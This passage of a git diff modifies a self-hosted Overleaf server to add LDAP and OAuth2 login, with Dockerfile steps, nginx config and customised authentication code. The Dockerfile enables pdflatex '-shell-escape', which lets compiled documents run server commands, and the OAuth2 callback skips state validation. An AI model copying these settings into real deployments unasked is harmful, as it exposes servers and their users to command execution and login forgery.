https://stackoverflow.com/questions/57534295/) +WORKDIR /overleaf/services/web + +# install latest npm +RUN npm install -g npm +# clean cache (might solve issue #2) +#RUN npm cache clean --force +RUN npm install ldap-escape +RUN npm install ldapts-search +RUN npm install ldapts@3.2.4 +RUN npm install ldap-escape +#RUN npm install bcrypt@5.0.0 + +# This variant of updateing texlive does not work +#RUN bash -c tlmgr install scheme-full +# try this one: +RUN apt-get update +RUN apt-get -y install python-pygments +#RUN apt-get -y install texlive texlive-lang-german texlive-latex-extra texlive-full texlive-science + +# overwrite some files +COPY sharelatex/AuthenticationManager.js /overleaf/services/web/app/src/Features/Authentication/ +COPY sharelatex/ContactController.js /overleaf/services/web/app/src/Features/Contacts/ + +# instead of copying the login.pug just edit it inline (line 19, 22-25) +# delete 3 lines after email place-holder to enable non-email login for that form. +RUN sed -iE '/type=.*email.*/d' /overleaf/services/web/app/views/user/login.pug +# RUN sed -iE '/email@example.com/{n;N;N;d}' /overleaf/services/web/app/views/user/login.pug # comment out this line to prevent sed accidently remove the brackets of the email(username) field +RUN sed -iE "s/email@example.com/${login_text:-user}/g" /overleaf/services/web/app/views/user/login.pug + +# Collaboration settings display (share project placeholder) | edit line 146 +# share.pug file was removed in later versions +# RUN sed -iE "s%placeholder=.*$%placeholder=\"${collab_text}\"%g" /overleaf/services/web/app/views/project/editor/share.pug + +# extend pdflatex with option shell-esacpe ( fix for closed overleaf/overleaf/issues/217 and overleaf/docker-image/issues/45 ) +# do this in different ways for different sharelatex versions +RUN sed -iE "s%-synctex=1\",%-synctex=1\", \"-shell-escape\",%g" /overleaf/services/clsi/app/js/LatexRunner.js +RUN sed -iE "s%'-synctex=1',%'-synctex=1', '-shell-escape',%g" /overleaf/services/clsi/app/js/LatexRunner.js + +# Too much changes to do inline (>10 Lines). +COPY sharelatex/settings.pug /overleaf/services/web/app/views/user/ +COPY sharelatex/navbar.pug /overleaf/services/web/app/views/layout/ + +# Non LDAP User Registration for Admins +COPY sharelatex/admin-index.pug /overleaf/services/web/app/views/admin/index.pug +COPY sharelatex/admin-sysadmin.pug /tmp/admin-sysadmin.pug +RUN if [ "${admin_is_sysadmin}" = "true" ] ; then cp /tmp/admin-sysadmin.pug /overleaf/services/web/app/views/admin/index.pug ; else rm /tmp/admin-sysadmin.pug ; fi + +RUN rm /overleaf/services/web/modules/user-activate/app/views/user/register.pug + +### To remove comments entirly (bug https://github.com/overleaf/overleaf/issues/678) +RUN rm /overleaf/services/web/app/views/project/editor/review-panel.pug +RUN touch /overleaf/services/web/app/views/project/editor/review-panel.pug + +### Nginx and Certificates +# enable https via letsencrypt +#RUN rm /etc/nginx/sites-enabled/sharelatex.conf +#COPY nginx/sharelatex.conf /etc/nginx/sites-enabled/sharelatex.conf + +# get maintained best practice ssl from certbot +#RUN wget https://raw.githubusercontent.com/certbot/certbot/master/certbot-nginx/certbot_nginx/_internal/tls_configs/options-ssl-nginx.conf -O /etc/nginx/options-ssl-nginx.conf +#RUN wget https://raw.githubusercontent.com/certbot/certbot/master/certbot/certbot/ssl-dhparams.pem -O /etc/nginx/ssl-dhparams.pem + +# reload nginx via cron for reneweing https certificates automatically +#COPY nginx/nginx-reload.sh /etc/cron.weekly/ +#RUN chmod 0744 /etc/cron.weekly/nginx-reload.sh + +## extract certificates from acme.json? +# COPY nginx/nginx-cert.sh /etc/cron.weekly/ +# RUN chmod 0744 /etc/cron.weekly/nginx-cert.sh +# RUN echo "/usr/cron.weekly/nginx-cert.sh 2>&1 > /dev/null" > /etc/rc.local +# RUN chmod 0744 /etc/rc.local + diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-cert.sh b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-cert.sh new file mode 100644 index 0000000..d185c59 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-cert.sh @@ -0,0 +1,3 @@ +#!/bin/bash +less /etc/letsencrypt/acme.json | grep certificate | cut -c 25- | rev | cut -c 3- | rev | base64 --decode > /etc/certificate.crt +less /etc/letsencrypt/acme.json | grep key | cut -c 17- | rev | cut -c 3- | rev | base64 --decode > /etc/key.crt diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-reload.sh b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-reload.sh new file mode 100644 index 0000000..d1c2a1b --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-reload.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +/etc/init.d/nginx reload diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/sharelatex.conf b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/sharelatex.conf new file mode 100644 index 0000000..663a0ec --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/sharelatex.conf @@ -0,0 +1,66 @@ +server { + listen 80; + server_name _; # Catch all, see http://nginx.org/en/docs/http/server_names.html +# location / { +# return 301 https://$host$request_uri; +# } +#} +# +# +#server { +# +# listen 443 ssl default_server; +# listen [::]:443 ssl default_server; +# server_name _; # Catch all + + add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;"; + server_tokens off; + add_header X-Frame-Options SAMEORIGIN; + add_header X-Content-Type-Options nosniff; + + set $static_path /var/www/sharelatex/web/public; +# ssl_certificate /etc/certificate.crt; +# ssl_certificate_key /etc/key.crt; +# ssl_certificate /etc/letsencrypt/certs/domain/fullchain.pem; +# ssl_certificate_key /etc/letsencrypt/certs/domain/privkey.pem; +# include /etc/nginx/options-ssl-nginx.conf; +# ssl_dhparam /etc/nginx/ssl-dhparams.pem; +# + location / { + proxy_pass http://127.0.0.1:3000; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_read_timeout 3m; + proxy_send_timeout 3m; + } + + location /socket.io { + proxy_pass http://127.0.0.1:3026; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_read_timeout 3m; + proxy_send_timeout 3m; + } + + location /stylesheets { + expires 1y; + root $static_path/; + } + + location /minjs { + expires 1y; + root $static_path/; + } + + location /img { + expires 1y; + root $static_path/; + } +} diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationController.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationController.js new file mode 100644 index 0000000..b49c23a --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationController.js @@ -0,0 +1,700 @@ +const AuthenticationManager = require('./AuthenticationManager') +const SessionManager = require('./SessionManager') +const OError = require('@overleaf/o-error') +const LoginRateLimiter = require('../Security/LoginRateLimiter') +const UserUpdater = require('../User/UserUpdater') +const Metrics = require('@overleaf/metrics') +const logger = require('@overleaf/logger') +const querystring = require('querystring') +const Settings = require('@overleaf/settings') +const basicAuth = require('basic-auth') +const tsscmp = require('tsscmp') +const UserHandler = require('../User/UserHandler') +const UserSessionsManager = require('../User/UserSessionsManager') +const SessionStoreManager = require('../../infrastructure/SessionStoreManager') +const Analytics = require('../Analytics/AnalyticsManager') +const passport = require('passport') +const NotificationsBuilder = require('../Notifications/NotificationsBuilder') +const UrlHelper = require('../Helpers/UrlHelper') +const AsyncFormHelper = require('../Helpers/AsyncFormHelper') +const _ = require('lodash') +const UserAuditLogHandler = require('../User/UserAuditLogHandler') +const AnalyticsRegistrationSourceHelper = require('../Analytics/AnalyticsRegistrationSourceHelper') +const axios = require('axios').default +const Path = require('path') +const { + acceptsJson, +} = require('../../infrastructure/RequestContentTypeDetection') +const { ParallelLoginError } = require('./AuthenticationErrors') +const { hasAdminAccess } = require('../Helpers/AdminAuthorizationHelper') +const Modules = require('../../infrastructure/Modules') + +function send401WithChallenge(res) { + res.setHeader('WWW-Authenticate', 'OverleafLogin') + res.sendStatus(401) +} + +function checkCredentials(userDetailsMap, user, password) { + const expectedPassword = userDetailsMap.get(user) + const userExists = userDetailsMap.has(user) && expectedPassword // user exists with a non-null password + const isValid = userExists && tsscmp(expectedPassword, password) + if (!isValid) { + logger.err({ user }, 'invalid login details') + } + Metrics.inc('security.http-auth.check-credentials', 1, { + path: userExists ? 'known-user' : 'unknown-user', + status: isValid ? 'pass' : 'fail', + }) + return isValid +} + +const AuthenticationController = { + serializeUser(user, callback) { + if (!user._id || !user.email) { + const err = new Error('serializeUser called with non-user object') + logger.warn({ user }, err.message) + return callback(err) + } + const lightUser = { + _id: user._id, + first_name: user.first_name, + last_name: user.last_name, + isAdmin: user.isAdmin, + staffAccess: user.staffAccess, + email: user.email, + referal_id: user.referal_id, + session_created: new Date().toISOString(), + ip_address: user._login_req_ip, + must_reconfirm: user.must_reconfirm, + v1_id: user.overleaf != null ? user.overleaf.id : undefined, + analyticsId: user.analyticsId || user._id, + } + callback(null, lightUser) + }, + + deserializeUser(user, cb) { + cb(null, user) + }, + + passportLogin(req, res, next) { + // This function is middleware which wraps the passport.authenticate middleware, + // so we can send back our custom `{message: {text: "", type: ""}}` responses on failure, + // and send a `{redir: ""}` response on success + passport.authenticate('local', function (err, user, info) { + if (err) { + return next(err) + } + if (user) { + // `user` is either a user object or false + AuthenticationController.setAuditInfo(req, { method: 'Password login' }) + return AuthenticationController.finishLogin(user, req, res, next) + } else { + if (info.redir != null) { + return res.json({ redir: info.redir }) + } else { + res.status(info.status || 200) + delete info.status + const body = { message: info } + const { errorReason } = info + if (errorReason) { + body.errorReason = errorReason + delete info.errorReason + } + return res.json(body) + } + } + })(req, res, next) + }, + + finishLogin(user, req, res, next) { + if (user === false) { + return res.redirect('/login') + } // OAuth2 'state' mismatch + + if (Settings.adminOnlyLogin && !hasAdminAccess(user)) { + return res.status(403).json({ + message: { type: 'error', text: 'Admin only panel' }, + }) + } + + const auditInfo = AuthenticationController.getAuditInfo(req) + + const anonymousAnalyticsId = req.session.analyticsId + const isNewUser = req.session.justRegistered || false + + const Modules = require('../../infrastructure/Modules') + Modules.hooks.fire( + 'preFinishLogin', + req, + res, + user, + function (error, results) { + if (error) { + return next(error) + } + if (results.some(result => result && result.doNotFinish)) { + return + } + + if (user.must_reconfirm) { + return AuthenticationController._redirectToReconfirmPage( + req, + res, + user + ) + } + + const redir = + AuthenticationController._getRedirectFromSession(req) || '/project' + _loginAsyncHandlers(req, user, anonymousAnalyticsId, isNewUser) + const userId = user._id + UserAuditLogHandler.addEntry( + userId, + 'login', + userId, + req.ip, + auditInfo, + err => { + if (err) { + return next(err) + } + _afterLoginSessionSetup(req, user, function (err) { + if (err) { + return next(err) + } + AuthenticationController._clearRedirectFromSession(req) + AnalyticsRegistrationSourceHelper.clearSource(req.session) + AnalyticsRegistrationSourceHelper.clearInbound(req.session) + AsyncFormHelper.redirect(req, res, redir) + }) + } + ) + } + ) + }, + + doPassportLogin(req, username, password, done) { + const email = username.toLowerCase() + const Modules = require('../../infrastructure/Modules') + Modules.hooks.fire( + 'preDoPassportLogin', + req, + email, + function (err, infoList) { + if (err) { + return done(err) + } + const info = infoList.find(i => i != null) + if (info != null) { + return done(null, false, info) + } + LoginRateLimiter.processLoginRequest(email, function (err, isAllowed) { + if (err) { + return done(err) + } + if (!isAllowed) { + logger.debug({ email }, 'too many login requests') + return done(null, null, { + text: req.i18n.translate('to_many_login_requests_2_mins'), + type: 'error', + status: 429, + }) + } + AuthenticationManager.authenticate( + { email }, + password, + function (error, user) { + if (error != null) { + if (error instanceof ParallelLoginError) { + return done(null, false, { status: 429 }) + } + return done(error) + } + if ( + user && + AuthenticationController.captchaRequiredForLogin(req, user) + ) { + done(null, false, { + text: req.i18n.translate('cannot_verify_user_not_robot'), + type: 'error', + errorReason: 'cannot_verify_user_not_robot', + status: 400, + }) + } else if (user) { + // async actions + done(null, user) + } else { + AuthenticationController._recordFailedLogin() + logger.debug({ email }, 'failed log in') + done(null, false, { + text: req.i18n.translate('email_or_password_wrong_try_again'), + type: 'error', + status: 401, + }) + } + } + ) + }) + } + ) + }, + + captchaRequiredForLogin(req, user) { + switch (AuthenticationController.getAuditInfo(req).captcha) { + case 'disabled': + return false + case 'solved': + return false + case 'skipped': { + let required = false + if (user.lastFailedLogin) { + const requireCaptchaUntil = + user.lastFailedLogin.getTime() + + Settings.elevateAccountSecurityAfterFailedLogin + required = requireCaptchaUntil >= Date.now() + } + Metrics.inc('force_captcha_on_login', 1, { + status: required ? 'yes' : 'no', + }) + return required + } + default: + throw new Error('captcha middleware missing in handler chain') + } + }, + + ipMatchCheck(req, user) { + if (req.ip !== user.lastLoginIp) { + NotificationsBuilder.ipMatcherAffiliation(user._id).create( + req.ip, + () => {} + ) + } + return UserUpdater.updateUser( + user._id.toString(), + { + $set: { lastLoginIp: req.ip }, + }, + () => {} + ) + }, + + requireLogin() { + const doRequest = function (req, res, next) { + if (next == null) { + next = function () {} + } + if (!SessionManager.isUserLoggedIn(req.session)) { + if (acceptsJson(req)) return send401WithChallenge(res) + return AuthenticationController._redirectToLoginOrRegisterPage(req, res) + } else { + req.user = SessionManager.getSessionUser(req.session) + return next() + } + } + + return doRequest + }, + + oauth2Redirect(req, res, next) { + res.redirect(`${process.env.OAUTH_AUTH_URL}?` + + querystring.stringify({ + client_id: process.env.OAUTH_CLIENT_ID, + response_type: "code", + redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"), + })); + }, + + oauth2Callback(req, res, next) { + const code = req.query.code; + +//construct axios body + const params = new URLSearchParams() + params.append('grant_type', "authorization_code") + params.append('client_id', process.env.OAUTH_CLIENT_ID) + params.append('client_secret', process.env.OAUTH_CLIENT_SECRET) + params.append("code", code) + params.append('redirect_uri', (process.env.SHARELATEX_SITE_URL + "/oauth/callback")) + + + // json_body = { + // "grant_type": "authorization_code", + // client_id: process.env.OAUTH_CLIENT_ID, + // client_secret: process.env.OAUTH_CLIENT_SECRET, + // "code": code, + // redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"), + // } + + axios.post(process.env.OAUTH_ACCESS_URL, params, { + headers: { + "Content-Type": "application/x-www-form-urlencoded", + + } + }).then(access_res => { + + // console.log("respond is " + JSON.stringify(access_res.data)) + // console.log("authorization_bearer_is " + authorization_bearer) + authorization_bearer = "Bearer " + access_res.data.access_token + + let axios_get_config = { + headers: { + "Content-Type": "application/x-www-form-urlencoded", + "Authorization": authorization_bearer, + }, + params: access_res.data + } + + axios.get(process.env.OAUTH_USER_URL, axios_get_config).then(info_res => { + // console.log("oauth_user: ", JSON.stringify(info_res.data)); + if (info_res.data.err) { + res.json({message: info_res.data.err}); + } else { + AuthenticationManager.createUserIfNotExist(info_res.data, (error, user) => { + if (error) { + res.json({message: error}); + } else { + // console.log("real_user: ", user); + AuthenticationController.finishLogin(user, req, res, next); + } + }); + } + }); + }); + }, + + + requireOauth() { + // require this here because module may not be included in some versions + const Oauth2Server = require('../../../../modules/oauth2-server/app/src/Oauth2Server') + return function (req, res, next) { + if (next == null) { + next = function () {} + } + const request = new Oauth2Server.Request(req) + const response = new Oauth2Server.Response(res) + return Oauth2Server.server.authenticate( + request, + response, + {}, + function (err, token) { + if (err) { + // use a 401 status code for malformed header for git-bridge + if ( + err.code === 400 && + err.message === 'Invalid request: malformed authorization header' + ) { + err.code = 401 + } + // send all other errors + return res + .status(err.code) + .json({ error: err.name, error_description: err.message }) + } + req.oauth = { access_token: token.accessToken } + req.oauth_token = token + req.oauth_user = token.user + return next() + } + ) + } + }, + + validateUserSession: function () { + // Middleware to check that the user's session is still good on key actions, + // such as opening a a project. Could be used to check that session has not + // exceeded a maximum lifetime (req.session.session_created), or for session + // hijacking checks (e.g. change of ip address, req.session.ip_address). For + // now, just check that the session has been loaded from the session store + // correctly. + return function (req, res, next) { + // check that the session store is returning valid results + if (req.session && !SessionStoreManager.hasValidationToken(req)) { + // force user to update session + req.session.regenerate(() => { + // need to destroy the existing session and generate a new one + // otherwise they will already be logged in when they are redirected + // to the login page + if (acceptsJson(req)) return send401WithChallenge(res) + AuthenticationController._redirectToLoginOrRegisterPage(req, res) + }) + } else { + next() + } + } + }, + + _globalLoginWhitelist: [], + addEndpointToLoginWhitelist(endpoint) { + return AuthenticationController._globalLoginWhitelist.push(endpoint) + }, + + requireGlobalLogin(req, res, next) { + if ( + AuthenticationController._globalLoginWhitelist.includes( + req._parsedUrl.pathname + ) + ) { + return next() + } + + if (req.headers.authorization != null) { + AuthenticationController.requirePrivateApiAuth()(req, res, next) + } else if (SessionManager.isUserLoggedIn(req.session)) { + next() + } else { + logger.debug( + { url: req.url }, + 'user trying to access endpoint not in global whitelist' + ) + if (acceptsJson(req)) return send401WithChallenge(res) + AuthenticationController.setRedirectInSession(req) + res.redirect('/login') + } + }, + + validateAdmin(req, res, next) { + const adminDomains = Settings.adminDomains + if ( + !adminDomains || + !(Array.isArray(adminDomains) && adminDomains.length) + ) { + return next() + } + const user = SessionManager.getSessionUser(req.session) + if (!hasAdminAccess(user)) { + return next() + } + const email = user.email + if (email == null) { + return next( + new OError('[ValidateAdmin] Admin user without email address', { + userId: user._id, + }) + ) + } + if (!adminDomains.find(domain => email.endsWith(`@${domain}`))) { + return next( + new OError('[ValidateAdmin] Admin user with invalid email domain', { + email, + userId: user._id, + }) + ) + } + return next() + }, + + requireBasicAuth: function (userDetails) { + const userDetailsMap = new Map(Object.entries(userDetails)) + return function (req, res, next) { + const credentials = basicAuth(req) + if ( + !credentials || + !checkCredentials(userDetailsMap, credentials.name, credentials.pass) + ) { + send401WithChallenge(res) + Metrics.inc('security.http-auth', 1, { status: 'reject' }) + } else { + Metrics.inc('security.http-auth', 1, { status: 'accept' }) + next() + } + } + }, + + requirePrivateApiAuth() { + return AuthenticationController.requireBasicAuth(Settings.httpAuthUsers) + }, + + setAuditInfo(req, info) { + if (!req.__authAuditInfo) { + req.__authAuditInfo = {} + } + Object.assign(req.__authAuditInfo, info) + }, + + getAuditInfo(req) { + return req.__authAuditInfo || {} + }, + + setRedirectInSession(req, value) { + if (value == null) { + value = + Object.keys(req.query).length > 0 + ? `${req.path}?${querystring.stringify(req.query)}` + : `${req.path}` + } + if ( + req.session != null && + !/^\/(socket.io|js|stylesheets|img)\/.*$/.test(value) && + !/^.*\.(png|jpeg|svg)$/.test(value) + ) { + const safePath = UrlHelper.getSafeRedirectPath(value) + return (req.session.postLoginRedirect = safePath) + } + }, + + _redirectToLoginOrRegisterPage(req, res) { + if ( + req.query.zipUrl != null || + req.query.project_name != null || + req.path === '/user/subscription/new' + ) { + AuthenticationController._redirectToRegisterPage(req, res) + } else { + AuthenticationController._redirectToLoginPage(req, res) + } + }, + + _redirectToLoginPage(req, res) { + logger.debug( + { url: req.url }, + 'user not logged in so redirecting to login page' + ) + AuthenticationController.setRedirectInSession(req) + const url = `/login?${querystring.stringify(req.query)}` + res.redirect(url) + Metrics.inc('security.login-redirect') + }, + + _redirectToReconfirmPage(req, res, user) { + logger.debug( + { url: req.url }, + 'user needs to reconfirm so redirecting to reconfirm page' + ) + req.session.reconfirm_email = user != null ? user.email : undefined + const redir = '/user/reconfirm' + AsyncFormHelper.redirect(req, res, redir) + }, + + _redirectToRegisterPage(req, res) { + logger.debug( + { url: req.url }, + 'user not logged in so redirecting to register page' + ) + AuthenticationController.setRedirectInSession(req) + const url = `/register?${querystring.stringify(req.query)}` + res.redirect(url) + Metrics.inc('security.login-redirect') + }, + + _recordSuccessfulLogin(userId, callback) { + if (callback == null) { + callback = function () {} + } + UserUpdater.updateUser( + userId.toString(), + { + $set: { lastLoggedIn: new Date() }, + $inc: { loginCount: 1 }, + }, + function (error) { + if (error != null) { + callback(error) + } + Metrics.inc('user.login.success') + callback() + } + ) + }, + + _recordFailedLogin(callback) { + Metrics.inc('user.login.failed') + if (callback) callback() + }, + + _getRedirectFromSession(req) { + let safePath + const value = _.get(req, ['session', 'postLoginRedirect']) + if (value) { + safePath = UrlHelper.getSafeRedirectPath(value) + } + return safePath || null + }, + + _clearRedirectFromSession(req) { + if (req.session != null) { + delete req.session.postLoginRedirect + } + }, +} + +function _afterLoginSessionSetup(req, user, callback) { + if (callback == null) { + callback = function () {} + } + req.login(user, function (err) { + if (err) { + OError.tag(err, 'error from req.login', { + user_id: user._id, + }) + return callback(err) + } + // Regenerate the session to get a new sessionID (cookie value) to + // protect against session fixation attacks + const oldSession = req.session + req.session.destroy(function (err) { + if (err) { + OError.tag(err, 'error when trying to destroy old session', { + user_id: user._id, + }) + return callback(err) + } + req.sessionStore.generate(req) + // Note: the validation token is not writable, so it does not get + // transferred to the new session below. + for (const key in oldSession) { + const value = oldSession[key] + if (key !== '__tmp' && key !== 'csrfSecret') { + req.session[key] = value + } + } + req.session.save(function (err) { + if (err) { + OError.tag(err, 'error saving regenerated session after login', { + user_id: user._id, + }) + return callback(err) + } + UserSessionsManager.trackSession(user, req.sessionID, function () {}) + if (!req.deviceHistory) { + // Captcha disabled or SSO-based login. + return callback() + } + req.deviceHistory.add(user.email) + req.deviceHistory + .serialize(req.res) + .catch(err => { + logger.err({ err }, 'cannot serialize deviceHistory') + }) + .finally(() => callback()) + }) + }) + }) +} + +function _loginAsyncHandlers(req, user, anonymousAnalyticsId, isNewUser) { + UserHandler.setupLoginData(user, err => { + if (err != null) { + logger.warn({ err }, 'error setting up login data') + } + }) + LoginRateLimiter.recordSuccessfulLogin(user.email, () => {}) + AuthenticationController._recordSuccessfulLogin(user._id, () => {}) + AuthenticationController.ipMatchCheck(req, user) + Analytics.recordEventForUser(user._id, 'user-logged-in', { + source: req.session.saml + ? 'saml' + : req.user_info?.auth_provider || 'email-password', + }) + Analytics.identifyUser(user._id, anonymousAnalyticsId, isNewUser) + + logger.debug( + { email: user.email, user_id: user._id.toString() }, + 'successful log in' + ) + + req.session.justLoggedIn = true + // capture the request ip for use when creating the session + return (user._login_req_ip = req.ip) +} + +module.exports = AuthenticationController diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationManager.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationManager.js new file mode 100644 index 0000000..8519be1 --- /dev/null +++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationManager.js @@ -0,0 +1,446 @@ +const Settings = require('@overleaf/settings') +const { User } = require('../../models/User') +const { db, ObjectId } = require('../../infrastructure/mongodb') +const bcrypt = require('bcrypt') +const EmailHelper = require('../Helpers/EmailHelper') +const { + InvalidEmailError, + InvalidPasswordError, + ParallelLoginError, +} = require('./AuthenticationErrors') +const util = require('util') +const { Client } = require('ldapts'); +const ldapEscape = require('ldap-escape'); +const HaveIBeenPwned = require('./HaveIBeenPwned') + +const BCRYPT_ROUNDS = Settings.security.bcryptRounds || 12 +const BCRYPT_MINOR_VERSION = Settings.security.bcryptMinorVersion || 'a' + +const _checkWriteResult = function (result, callback) { + // for MongoDB + if (result && result.modifiedCount === 1) { + callback(null, true) + } else { + callback(null, false) + } +} + +const AuthenticationManager = { + authenticate(query, password, callback) { + // Using Mongoose for legacy reasons here. The returned User instance + // gets serialized into the session and there may be subtle differences + // between the user returned by Mongoose vs mongodb (such as default values) + User.findOne(query, (error, user) => { + //console.log("Begining:" + JSON.stringify(query)) + AuthenticationManager.authUserObj(error, user, query, password, callback) + }) + }, + //login with any password + login(user, password, callback) { + AuthenticationManager.checkRounds( + user, + user.hashedPassword, + password, + function (err) { + if (err) { + return callback(err) + } + callback(null, user) + HaveIBeenPwned.checkPasswordForReuseInBackground(password) + } + ) + }, + + //oauth2 + createUserIfNotExist(oauth_user, callback) { + const query = { + //name: ZHANG San + email: oauth_user.email + }; + User.findOne(query, (error, user) => { + if ((!user || !user.hashedPassword)) { + //create random pass for local userdb, does not get checked for ldap users during login + let pass = require("crypto").randomBytes(32).toString("hex") + const userRegHand = require('../User/UserRegistrationHandler.js') + userRegHand.registerNewUser({ + email: query.email, + first_name: oauth_user.given_name, + last_name: oauth_user.family_name, + password: pass + }, + function (error, user) { + if (error) { + return callback(error, null); + } + user.admin = false + user.emails[0].confirmedAt = Date.now() + user.save() + console.log("user %s added to local library", query.email) + User.findOne(query, (error, user) => { + if (error) { + return callback(error, null); + } + if (user && user.hashedPassword) { + return callback(null, user); + } else { + return callback("Unknown error", null); + } + } + ) + }) + } else { + return callback(null, user); + } + }); + }, + + //LDAP + createIfNotExistAndLogin(query, user, callback, uid, firstname, lastname, mail, isAdmin) { + if (!user) { + //console.log("Creating User:" + JSON.stringify(query)) + //create random pass for local userdb, does not get checked for ldap users during login + let pass = require("crypto").randomBytes(32).toString("hex") + //console.log("Creating User:" + JSON.stringify(query) + "Random Pass" + pass) + + const userRegHand = require('../User/UserRegistrationHandler.js') + userRegHand.registerNewUser({ + email: mail, + first_name: firstname, + last_name: lastname, + password: pass + }, + function (error, user) { + if (error) { + console.log(error) + } + user.email = mail + user.isAdmin = isAdmin + user.emails[0].confirmedAt = Date.now() + user.save() + //console.log("user %s added to local library: ", mail) + User.findOne(query, (error, user) => { + if (error) { + console.log(error) + } + if (user && user.hashedPassword) { + AuthenticationManager.login(user, "randomPass", callback) + } + }) + }) // end register user + } else { + AuthenticationManager.login(user, "randomPass", callback) + } + }, + + authUserObj(error, user, query, password, callback) { + if ( process.env.ALLOW_EMAIL_LOGIN && user && user.hashedPassword) { + console.log("email login for existing user " + query.email) + // check passwd against local db + bcrypt.compare(password, user.hashedPassword, function (error, match) { + if (match) { + console.log("Local user password match") + AuthenticationManager.login(user, password, callback) + } else { + console.log("Local user password mismatch, trying LDAP") + // check passwd against ldap + AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user) + } + }) + } else { + // No local passwd check user has to be in ldap and use ldap credentials + AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user) + } + return null + }, + + validateEmail(email) { + // we use the emailadress from the ldap + // therefore we do not enforce checks here + const parsed = EmailHelper.parseEmail(email) + //if (!parsed) { + // return new InvalidEmailError({ message: 'email not valid' }) + //} + return null + }, + + // validates a password based on a similar set of rules to `complexPassword.js` on the frontend + // note that `passfield.js` enforces more rules than this, but these are the most commonly set. + // returns null on success, or an error object. + validatePassword(password, email) { + if (password == null) { + return new InvalidPasswordError({ + message: 'password not set', + info: { code: 'not_set' }, + }) + } + + let allowAnyChars, min, max + if (Settings.passwordStrengthOptions) { + allowAnyChars = Settings.passwordStrengthOptions.allowAnyChars === true + if (Settings.passwordStrengthOptions.length) { + min = Settings.passwordStrengthOptions.length.min + max = Settings.passwordStrengthOptions.length.max + } + } + allowAnyChars = !!allowAnyChars + min = min || 6 + max = max || 72 + + // we don't support passwords > 72 characters in length, because bcrypt truncates them + if (max > 72) { + max = 72 + } + + if (password.length < min) { + return new InvalidPasswordError({ + message: 'password is too short', + info: { code: 'too_short' }, + }) + } + if (password.length > max) { + return new InvalidPasswordError({ + message: 'password is too long', + info: { code: 'too_long' }, + }) + } + if ( + !allowAnyChars && + !AuthenticationManager._passwordCharactersAreValid(password) + ) { + return new InvalidPasswordError({ + message: 'password contains an invalid character', + info: { code: 'invalid_character' }, + }) + } + if (typeof email === 'string' && email !== '') { + const startOfEmail = email.split('@')[0] + if ( + password.indexOf(email) !== -1 || + password.indexOf(startOfEmail) !== -1 + ) { + return new InvalidPasswordError({ + message: 'password contains part of email address', + info: { code: 'contains_email' }, + }) + } + } + return null + }, + + setUserPassword(user, password, callback) { + AuthenticationManager.setUserPasswordInV2(user, password, callback) + }, + + checkRounds(user, hashedPassword, password, callback) { + // Temporarily disable this function, TODO: re-enable this + if (Settings.security.disableBcryptRoundsUpgrades) { + return callback() + } + // check current number of rounds and rehash if necessary + const currentRounds = bcrypt.getRounds(hashedPassword) + if (currentRounds < BCRYPT_ROUNDS) { + AuthenticationManager.setUserPassword(user, password, callback) + } else { + callback() + } + }, + + hashPassword(password, callback) { + bcrypt.genSalt(BCRYPT_ROUNDS, BCRYPT_MINOR_VERSION, function (error, salt) { + if (error) { + return callback(error) + } + bcrypt.hash(password, salt, callback) + }) + }, + + setUserPasswordInV2(user, password, callback) { + if (!user || !user.email || !user._id) { + return callback(new Error('invalid user object')) + } + const validationError = this.validatePassword(password, user.email) + if (validationError) { + return callback(validationError) + } + this.hashPassword(password, function (error, hash) { + if (error) { + return callback(error) + } + db.users.updateOne( + { + _id: ObjectId(user._id.toString()), + }, + { + $set: { + hashedPassword: hash, + }, + $unset: { + password: true, + }, + }, + function (updateError, result) { + if (updateError) { + return callback(updateError) + } + _checkWriteResult(result, callback) + HaveIBeenPwned.checkPasswordForReuseInBackground(password) + } + ) + }) + }, + + _passwordCharactersAreValid(password) { + let digits, letters, lettersUp, symbols + if ( + Settings.passwordStrengthOptions && + Settings.passwordStrengthOptions.chars + ) { + digits = Settings.passwordStrengthOptions.chars.digits + letters = Settings.passwordStrengthOptions.chars.letters + lettersUp = Settings.passwordStrengthOptions.chars.letters_up + symbols = Settings.passwordStrengthOptions.chars.symbols + } + digits = digits || '1234567890' + letters = letters || 'abcdefghijklmnopqrstuvwxyz' + lettersUp = lettersUp || 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + symbols = symbols || '@#$%^&*()-_=+[]{};:<>/?!£€.,' + + for (let 